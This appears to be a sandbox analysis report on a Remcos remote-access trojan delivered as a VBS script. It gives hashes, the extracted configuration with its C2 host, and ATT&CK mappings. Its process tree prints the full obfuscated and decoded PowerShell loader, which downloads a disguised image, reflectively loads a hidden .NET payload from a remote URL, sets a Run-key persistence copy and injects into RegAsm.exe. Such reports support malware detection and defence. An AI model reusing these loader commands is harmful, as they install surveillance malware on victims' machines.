remcos | d27cb4de5a03f7b59ab211482839e4d18ec395c136079735636ca23b096531d0 | Triage

Analysis

max time kernel
300s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
20-04-2024 09:46

Sharing

Report Analysis Logs

General

Target

IEnetworkings.vbs
Size

111KB
MD5

42d96a63fe345fe4a01752e1dcb06d1d
SHA1

f8d791007c1507cd15fdb53ee3f0ca477e7698ea
SHA256

d27cb4de5a03f7b59ab211482839e4d18ec395c136079735636ca23b096531d0
SHA512

b87b3f16a8f437731e8e26fb09478a708f0a079eeebd5cd22cac3f23f239c521a34c837fafacb1c979109bb173dc6227008f0c70df57a897a52461f2d0721b83
SSDEEP

1536:y++/U1lBHFcJUJI+YZb5bJ9Gmgz/+rtfRDFqGb5uJZUU0tKl9CP8Z:y/U1DHFUGmgURDFBe0tKl9CP4

Score

10^/10

remcos remotehost persistence rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

sembe.duckdns.org:14645

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
notess
keylog_path
%AppData%
mouse_option
false
mutex
Rmc-P0AEMX
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 5 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 1960 WScript.exe
5 1960 WScript.exe
7 1960 WScript.exe
14 1776 powershell.exe
30 1776 powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

Registry Run Keys / Startup Folder

Modify Registry

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\WQQ.vbs"	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1776 set thread context of 3112 1776 powershell.exe RegAsm.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
4004	powershell.exe
4004	powershell.exe
1776	powershell.exe
1776	powershell.exe
2152	powershell.exe
2152	powershell.exe
2152	powershell.exe
1776	powershell.exe
1776	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 4004 powershell.exe
Token: SeDebugPrivilege 1776 powershell.exe
Token: SeDebugPrivilege 2152 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

RegAsm.exe

pid process

3112 RegAsm.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1960 wrote to memory of 4004	1960	WScript.exe	powershell.exe
PID 1960 wrote to memory of 4004	1960	WScript.exe	powershell.exe
PID 4004 wrote to memory of 1776	4004	powershell.exe	powershell.exe
PID 4004 wrote to memory of 1776	4004	powershell.exe	powershell.exe
PID 1776 wrote to memory of 2152	1776	powershell.exe	powershell.exe
PID 1776 wrote to memory of 2152	1776	powershell.exe	powershell.exe
PID 1776 wrote to memory of 1864	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 1864	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 1864	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 3112	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 3112	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 3112	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 3112	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 3112	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 3112	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 3112	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 3112	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 3112	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 3112	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 3112	1776	powershell.exe	RegAsm.exe
PID 1776 wrote to memory of 3112	1776	powershell.exe	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IEnetworkings.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1960

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMQDgTrevDgTreDUDgTreNDgTreDgTreyDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreMwDgTre5DgTreDQDgTreODgTreDgTreyDgTreDDgTreDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMQDgTrevDgTreDUDgTreNDgTreDgTreyDgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreMwDgTre5DgTreDQDgTreODgTreDgTreyDgTreDDgTreDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTreRgBEDgTreFEDgTreVwDgTrevDgTreDQDgTreNDgTreDgTrexDgTreC8DgTreNQDgTre3DgTreC4DgTreMDgTreDgTre2DgTreC4DgTreNQDgTre5DgTreC4DgTreMwDgTreyDgTreC8DgTreLwDgTre6DgTreHDgTreDgTredDgTreB0DgTreGgDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreDEDgTreJwDgTregDgTreCwDgTreIDgTreDgTrenDgTreEMDgTreOgBcDgTreFDgTreDgTrecgBvDgTreGcDgTrecgBhDgTreG0DgTreRDgTreBhDgTreHQDgTreYQBcDgTreCcDgTreIDgTreDgTresDgTreCDgTreDgTreJwBXDgTreFEDgTreUQDgTrenDgTreCwDgTreJwBSDgTreGUDgTreZwBBDgTreHMDgTrebQDgTrenDgTreCwDgTreJwDgTrenDgTreCkDgTreKQB9DgTreCDgTreDgTrefQDgTre=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/771/542/original/new_image.jpg?1713394820', 'https://uploaddeimagens.com.br/images/004/771/542/original/new_image.jpg?1713394820'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.FDQW/441/57.06.59.32//:ptth' , '1' , 'C:\ProgramData\' , 'WQQ','RegAsm',''))} }"
3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden Copy-Item -Path *.vbs -Destination C:\ProgramData\WQQ.vbs
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2152

C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
4⤵
PID:1864

C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\RegAsm.exe"
4⤵
- Suspicious use of SetWindowsHookEx
PID:3112

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1408 --field-trial-handle=2280,i,4114443225282860369,4764091921472631035,262144 --variations-seed-version /prefetch:8
1⤵
PID:5084

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Credential Access

Discovery

Query Registry

System Information Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
c4732ec377f98b879c8bcc5d5ec3e758

SHA1
cb0fd36eddb5eda46c6aa0cf46321979e9631476

SHA256
38a5009a43b69dd4c949bdf50886dbd502fd175a89c5e4caa4480642ed8c7a37

SHA512
933463f5099704eb4a2dbd6452cebf7513fef7b9d9956eeb1a9eb1e997b37acf737281be1a5cb7a13a66fd431575246049158c258f549b1d67e36d7db8c71026

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
feadc4e1a70c13480ef147aca0c47bc0

SHA1
d7a5084c93842a290b24dacec0cd3904c2266819

SHA256
5b4f1fe7ba74b245b6368dbe4ceffa438f14eef08ba270e9a13c57505c7717ac

SHA512
c9681a19c773891808fefa9445cea598d118c83bba89530a51ab993adbff39bce72b43f8e99d0c68e4a44f7e0f4c8ec128641c45cd557a8e1215721d5d992a23

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cmcnh0ay.lfe.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\notess\logs.dat
Filesize
144B

MD5
5d4bb048883a074770a5949ac662aa41

SHA1
8efe4c0a09d2f06dd04851184939c5770086fc38

SHA256
d46547b38d03021a62f9232c82bbc547566ac1353b48aff5e3e38b034db9a62e

SHA512
d108aef9a68125c3681d45940697326abcb5493315c0441da16275775e57cd90c64b5d8d13a044868c9be42314723a3c6dc777443bdc900d6e304c0c15914cff

Download Submit
memory/1776-35-0x000001D3D53E0000-0x000001D3D56A2000-memory.dmp

Filesize
2.8MB

Download
memory/1776-37-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

Filesize
10.8MB

Download
memory/1776-33-0x000001D3B9C70000-0x000001D3B9C80000-memory.dmp

Filesize
64KB

Download
memory/1776-58-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

Filesize
10.8MB

Download
memory/1776-23-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

Filesize
10.8MB

Download
memory/2152-38-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

Filesize
10.8MB

Download
memory/2152-39-0x000002C93AAE0000-0x000002C93AAF0000-memory.dmp

Filesize
64KB

Download
memory/2152-52-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

Filesize
10.8MB

Download
memory/3112-65-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-79-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-144-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-143-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-136-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-135-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-128-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-127-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-61-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-120-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-68-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-53-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-80-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-119-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-87-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-88-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-95-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-96-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-104-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-111-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3112-112-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4004-18-0x000001A979420000-0x000001A979442000-memory.dmp

Filesize
136KB

Download
memory/4004-19-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

Filesize
10.8MB

Download
memory/4004-62-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

Filesize
10.8MB

Download
memory/4004-36-0x000001A977230000-0x000001A977240000-memory.dmp

Filesize
64KB

Download
memory/4004-34-0x00007FFD3FDC0000-0x00007FFD40881000-memory.dmp

Filesize
10.8MB

Download
memory/4004-20-0x000001A977230000-0x000001A977240000-memory.dmp

Filesize
64KB

Download
